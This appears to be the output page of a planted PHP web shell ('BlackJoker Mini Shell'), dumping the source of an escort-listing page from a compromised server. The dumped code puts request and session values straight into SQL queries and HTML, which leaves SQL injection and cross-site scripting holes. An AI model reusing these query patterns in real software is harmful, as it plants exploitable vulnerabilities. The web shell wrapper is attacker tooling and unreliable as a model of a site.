GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/
Upload File :
Current File : /home/serb/www/city-boysescorts.php

<? session_start();



 include("lib/globals.php");

 include("lib/common.php");

 include("lib/functions.php");

 include"lib/SimpleImage.php";
 include("lib/pager.php");
 $todatee=date('Y-m-d');

 ?>

<? include "includes/header_top.php";?>
<script language="javascript">
	function opencountry(country)

	{
		
			location.href="home.php?ct="+country;
	
	}

</script>
<script src="js/aslider.js"></script>
        <style>
            .aslide {
                display: none;
				 height: 240px !important;
				
            }
            .aslide img {
                max-width: 210px !important;
				max-height:240px !important;                
            }
            #slider {
                width: 211px !important;
                height: 240px !important;
				
            }
            .aslide .text {
                width: 50px;
                margin: 0 auto;
                color: #f8f8f8;
                text-shadow: 0 0 2px #000;
                font-weight: bold;
                font-size: 36px;
               
                text-align: center;
                position: absolute;
                bottom: 30px;
                font-family: sans-serif;
            }
        </style>
<style type="text/css">

        #jcl-demo a.prev
		{
			display: block;
            width: 27px;
            height: 53px;

            background:url(images/scroll_prev.png) 0 0 no-repeat;
           

            float: left;
			
		}
		
		
		#jcl-demo a.next {
            display: block;
            width: 27px;
            height: 53px;

            background:url(images/scroll_next.png) 0 0 no-repeat;
            
            
            
            float: left;
        }
        #jcl-demo a.prev {
            margin: 75px 0px 0 0;
            text-indent: 7px;
        }
        #jcl-demo a.next {
            margin: 75px 0 0 3px;
            text-indent: 10px;
        }
        

        #jcl-demo .carousel {
           
            border-radius: 10px;
            
            float: left;
            padding-left: 0px;

            /* Needed for rendering without flicker */
            position: relative;
            visibility: hidden;
            left: -5001px;
			width :648px !important;
			height:222px !important;
        }
        #jcl-demo .carousel li img{
            margin: 12px 3px 3px 5px;
        }
        #jcl-demo .carousel li img {
            width: 153px;
            height: 139px;
            vertical-align:middle;
            border-radius: 2px;
			
        }


        #jcl-demo .carousel, #jcl-demo .carousel * {
            box-sizing: content-box;    /* My theme uses border-box for whatever reason, I don't know. I am switching it to the standard content-box here */
        }


    </style>
 <!--<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>-->
  <script src="js/jquery-1.11.1.js"></script>
<script src="js/jquery.jcarousellite.js"></script>

<body>

  <? include "includes/boys-header.php";?>



<div class="main_bg">   

        <div style="height:32px;"></div>

        <div  style="width:1000px; margin:0 auto;">
				<div class="statedetails">
                	<div class="stdtls_header">
                    	<?
							$sql_country="SELECT * from countries where ccode='".$_SESSION['countryname']."'";
							$res_countrty=execute_query($sql_country);
							$row_country=mysql_fetch_array($res_countrty);
							echo $row_country['country'];
						?>
                    	<span style="float:right; padding-top:2px; margin-right:5px;">
                        	 <select class="switchcnt" id="visitor_country" name="visitor_country" onChange="return opencountry(this.value)">
                              <option value="">Switch Country</option>
									<?
                                     $sql_country1="select * from countries";
                                     $country_res=execute_query($sql_country1);
                                     while($country_row=mysql_fetch_array($country_res)){
                                    ?>
                                   <option value="<?=$country_row['ccode']?>"><?=$country_row['country']?></option>
                                 <? }?>
                             </select>
                        
                        </span>
                    	
                    </div>
                    <div class="stdtls_midder">
                    	<div style=" width:990px;">
                        	<?php
								$sql_ccescort="SELECT * FROM escort_details where status='a' AND gender='Male' AND country_name='".$_SESSION['countryname']."'";
								$row_ccescort=execute_query($sql_ccescort);
								$num_ccescort=mysql_num_rows($row_ccescort);
								if($num_ccescort>0) {
									$sql_cityescort="SELECT escort_city,count(escort_city) FROM escort_details where status='a' AND gender='Male' AND country_name='".$_SESSION['countryname']."'  GROUP BY escort_city";
									$res_cityescort=execute_query($sql_cityescort);
									while($row_cityescort=mysql_fetch_array($res_cityescort)) {
							?>
                                	<div class="updatehdrstylecity">
                                    	<a href="http://<?php echo $row_cityescort['escort_city']; ?>.<?php echo $serverName; ?>/MaleEscorts">
                                            <?php echo $row_cityescort['escort_city'].'('.$row_cityescort['count(escort_city)'].')'; ?>
                                        </a>
                                    </div>
                                    <?php } ?>
                                <br class="spacer" />
                                <?php } ?>        	
                          </div>
                    
                    </div>
                    <div class="stdtls_footer"></div>
                </div>
        
				<div class="estdetailscnt">
                        <div class="left_contain">        
                           <div class="leftcnt_top"></div>
                           <div class="leftct_mid">
                           		<div class="leftct_midtop">
                                	<div style="height:5px;"></div>
                                   <div class="scroller">
            	
                
                                    <div id="jcl-demo" class="entry-content">
                                    <div class="custom-container main">
                                        <a href="#" class="prev"></a>
                                        <div class="carousel" style="width:648px !important;">
                                            <ul>
                                            <?
                                                $sql_post="select * from escort_details where status='a' AND gender='Male' AND ft_ad_status='Yes' AND ('$todatee'<=ft_ad_expair) AND country_name='".$_SESSION['countryname']."'";
                                                $res_post=execute_query($sql_post);
                                                while($row_post=mysql_fetch_array($res_post))
                                                {
                                               		
                                                
                                                $sql_estpic="select * from escort_photo where postid='".$row_post['id']."' GROUP BY postid LIMIT 0,1";
                                                $res_estpic=execute_query($sql_estpic);
                                                while($row_estpic=mysql_fetch_array($res_estpic))
                                                {
                                            
                                            ?>
                                                <li style="text-align:center;"><a href="guys-service-dtls.php?name=<?=$row_post['nickname']?>&phone=<?=$row_post['tel_national']?>&cityname=<?=$row_post['escort_city']?>"><img src="avtar/<?=$row_estpic['picture']?>"><br/><p class="namespan"><?=$row_post['nickname']?></p></a></li>
                                                
                                                <? } }?>
                                               
                                            </ul>
                                        </div>
                                        <a href="#" class="next"></a>
                                        <div class="clear"></div>
                                    </div>
                        
                                    <script>
                                        $(function() {
                                            $(".main .carousel").jCarouselLite({
                                                btnNext: ".main .next",
                                                btnPrev: ".main .prev",
                                                speed: 500
                                            });
                                        });
                                    </script>
                                </div>
                                        
                                        
                                        
                                        
                                        
                                        
                                    </div> 
                                    
                                    
                                </div>
                                <div style="height:18px;"></div>
                               
                                <div class="leftct_midbot">
                                	<?
										$sql_count="SELECT * FROM escort_details WHERE status='a' AND gender='Male' AND escort_city like '%".$_GET['cityname']."%' "; 
										$res_count=execute_query($sql_count);
										$num_count=mysql_fetch_array($res_count);
										if($num_count>0)
										 {
									
										 $ii=1;
										
										  $sql_locescort="SELECT * FROM escort_details WHERE status='a' AND gender='Male' AND ('$todatee'<=ft_ad_expair) AND ft_ad_status='Yes' AND escort_city like '%".$_GET['cityname']."%' ORDER BY RAND() LIMIT 0,6"; ;
										
										$res_locescort=execute_query($sql_locescort);
										$num_locescort=mysql_num_rows($res_locescort);
										
										  while($row_locescort=mysql_fetch_array($res_locescort))
										  {
												increase_impression($row_locescort['id']);
										   ?>
                                            <div class="escortpicsdiv" style="margin-bottom:9px;">
                                            	<div style="width:229px; height:107px; margin-left:-1px; margin-top:-3px; text-align:left; position:absolute; z-index:3;"><img src="images/vip22.png" style="width:91px; height:123px;" /></div>
                                                <div class="estname">
													<h1><?=$row_locescort['nickname']?></h1></div>
                                                <div class="estimage">
                                                	
                                                
                                                <?php /*?><? 
													$sql_image="SELECT * FROM escort_photo where userid='".$row_locescort['user_id']."'";
													$res_image=execute_query($sql_image);
													$row_image=mysql_fetch_array($res_image);
                                                    if($row_image['picture']!="")
                                                    {
                                                    ?>
                                                         <a href="escort-service-dtls.php?name=<?=$row_locescort['nickname']?>&phone=<?=$row_locescort['tel_national']?>&cityname=<?=$row_locescort['escort_city']?>"><img src="avtar/<?=$row_image['picture']?>" style="width:210px; height:240px;" /></a>
                                                  <? } else
													  { ?>
													   <a href="escort-service-dtls.php?name=<?=$row_locescort['nickname']?>&phone=<?=$row_locescort['tel_national']?>&cityname=<?=$row_locescort['escort_city']?>"> <img src="images/no_photo_female.gif" style="width:210px; height:240px;" /></a>
													  
													  <? } ?><?php */?>
                                                      
                                               <div id="slider" class="aslider" data-duration="10" data-hide-controls>
                                                     <? 
													$sql_image="SELECT * FROM escort_photo where postid='".$row_locescort['id']."'";
													$res_image=execute_query($sql_image);
                                                    $citynameParsed = getUrlAttrib($row_locescort['escort_city']);
                                                    $slogan = getTitle($row_locescort['slogan']);
                                                    $url = "http://{$citynameParsed}.{$serverName}/MaleEscorts/{$row_locescort['nickname']}/$slogan/{$row_locescort['id']}";
													while($row_image=mysql_fetch_array($res_image))
													 {
                                                    ?>
                                                    
                                                    <div class="aslide" data-duration="4" >
                                                       <a href="<?php echo $url; ?>"><img src="avtar/<?=$row_image['picture']?>" style="width:210px; height:240px;" /></a>			
                                                        
                                                    </div>  
                                                    <? } ?>
                                                
                                                </div> 
                                                      
                                                      
                                                
                                                </div>
                                                <div class="estlocation"><?=$row_locescort['escort_city']?></div>
                                            
                                            </div>
                                            <?
                                                                                  
                                     	  }  ?> 
									  		
                                            
									
									
									 <!--///////////Regular ad//////// -->
									
									 <?  $page=$_GET["page"];
										// get the pager class implemented
										$count_sql="select count(*) tot from escort_details WHERE status='a' AND gender='Male'  AND escort_city like '%".$_GET['cityname']."%' AND ft_ad_status=''";
										
										//print $count_sql;
										$count_rs=execute_query($count_sql);
										$count_row=mysql_fetch_array($count_rs);
										$count=$count_row['tot'];
										if($count > 0)
										{
										//print $count;
										$limit = 15;  
										// work out the pager values 
										$pager  = Pager::getPagerData($count, $limit, $page);  
										$offset = $pager->offset;  
										$limit  = $pager->limit;  
										$page   = $pager->page; 
										} 
										if($count > 0)
										{
										  $sql="SELECT * FROM escort_details WHERE status='a' AND gender='Male' AND escort_city like '%".$_GET['cityname']."%' order by id DESC limit $offset,$limit";
										}
										else
										{
										  $sql="SELECT * FROM escort_details WHERE status='a' AND gender='Male' AND escort_city like '%".$_GET['cityname']."%' order by id DESC";
										}  
									 $rs=execute_query($sql);
									 $prod_cnt=0;
									 while($rs2=mysql_fetch_array($rs))
									 {
									   increase_impression($rs2['id']);
									   $item[$prod_cnt][0]=$rs2['id'];   
									   $item[$prod_cnt][1]=$rs2['nickname'];
									   $item[$prod_cnt][2]=$rs2['escort_city'];
                                       $item[$prod_cnt][3]=$rs2['tel_national'];
                                       $item[$prod_cnt][4]=$rs2['slogan'];
									   
									  
									   $prod_cnt++;
									 }
									?>
																			
										
                                           
                                        <? 
										$ii=1;
										if($prod_cnt > 0) { 
													for($i=0;$i<$prod_cnt;$i++)
												 {
												  ?> 
                                            <div class="escortpicsdiv" style="margin-bottom:9px;">
                                            
                                                <div class="estname">
													<h1><?=$item[$i][1]?></h1></div>
                                                <div class="estimage">
                                                
                                                <? 
													$sql_image="SELECT * FROM escort_photo where postid='".$item[$i][0]."'";
													$res_image=execute_query($sql_image);
													$row_image=mysql_fetch_array($res_image);
                                                    $citynameParsed = getUrlAttrib($item[$i][2]);
                                                    $slogan = getTitle($item[$i][4]);
                                                    $url = "http://{$citynameParsed}.{$serverName}/MaleEscorts/{$item[$i][1]}/$slogan/{$item[$i][0]}";
                                                    //guys-service-dtls.php?name=<?=$item[$i][1]? >&phone=<?=$item[$i][3]? >&cityname=<?=$item[$i][2]
                                                    if($row_image['picture']!="")
                                                    {
                                                    ?>
                                                         <a href="<?php echo $url; ?>"><img src="avtar/<?=$row_image['picture']?>" style="width:210px; height:240px;" /></a>
                                                  <? } else
													  { ?>
													    <a href="<?php echo $url; ?>"> <img src="images/no_photo_female.gif" style="width:210px; height:240px;" /></a>
													  
													  <? } ?>
                                                
                                                </div>
                                                <div class="estlocation"><?=$item[$i][2]?></div>
                                            
                                            </div>
                                            <?
                                              
                                    
                                     	  }  }?> 
									  		<br class="spacer" />
                                            <br/>
                                            <div style="width:650px; margin:0 auto;">
												<? 
                                              if($prod_cnt > 0)
                                              {
												  $cname=$_GET['cityname'];
                                            ?>
                                            <table border="0" cellpadding="0" cellspacing="0"  style="margin:0 auto;" align="center">
                                              <!-- Paging display Start Table 4-->
                                              <tbody>
                                                <tr>
                                                  <td width="158" >
                                                     <?        if ($page == 1) // this is the first page - there is no previous page 
                                        
                                                                 echo "&nbsp;";  
                                        
                                                                        else            // not the first page, link to the previous page 
                                                                         echo "<a href=\"http://{$cname}.{$serverName}/MaleEscorts?page=" . ($page - 1)  ."\"class=\"footer-link\" style='color:#ff9131; text-decoration:none;'><img src='images/escort_prev.png' /></a>&nbsp;"; 
                                        
                                                  ?>                                        
                                                 </td>                                        
                                                    <td width="7"></td>
                                                         <td style="display:inline;">
                                                    <?
                                                        for ($i = 1; $i <= $pager->numPages; $i++) {  
                                                            echo "";  
                                                            if ($i == $pager->page)  
                                                                echo "<div class='footeraccttyy'>".$page."</div>";  
                                                            else  
                                                            //////* link page name will change for different pages Ex:list_banner.php*/////
                                                                echo "<a href=\"http://{$cname}.{$serverName}/MaleEscorts?page=$i\"class=\"footer-link22\"><div class='footeraccttyy_inac'>$i</div></a> ";  
                                                                } ?>
                                                  </td>
                                                        
                                                    <td width="7"></td>
                                        
                                                  <td width="158" align="center" valign="middle"> 
                                                    <?  if ($page == $pager->numPages) // this is the last page - there is no next page 
                                                             echo "&nbsp;";  
                                                         else        // not the last page, link to the next page 
                                                                               
                                                             echo "<a href=\"http://{$cname}.{$serverName}/MaleEscorts?page=" . ($page + 1) ."\"class=\"footer-link\" style='color:#ff9131; text-decoration:none;'>&nbsp;<img src='images/escort_next.png' /></a>";  
                                        
                                                         ?>
                                        
                                                 </td>
                                                </tr>
                                              </tbody>
                                            </table>
                                            <? 
                                              }
                                              else
                                              {
                                            ?>
                                               &nbsp;
                                            <? 
                                              }
                                           
										?>
                                        </div>
                                          <?  
                                            
                                   
                                   }else {?>
                                        	<div style="text-align:center; width:550px; margin:0 auto;">
                                            	<p class="noescort">
                                                	Sorry, right now there is no any escorts in <?=$row_country['country']?> available.
                                                </p>
                                            
                                            </div>
                                    	<? } ?>
                                
                                </div>
                                <br class="spacer" />                           
                           </div>
                           <div class="leftct_foot"></div>
        
                       </div> 
        
                   
        
                    <!--/*****start right_contain*****/-->
        
                   		 <div class="right_contain">
        
                            	
                               <? include "includes/boysright_contain.php";?>
        
                       
        
                   		 </div><!--/*****end right_contain*****/-->

                <br class="spacer" />
                </div>
                

        </div>


   </div>



<!--</div>-->



<? include "includes/footer.php";?>




./BlackJoker Mini Shell 1.0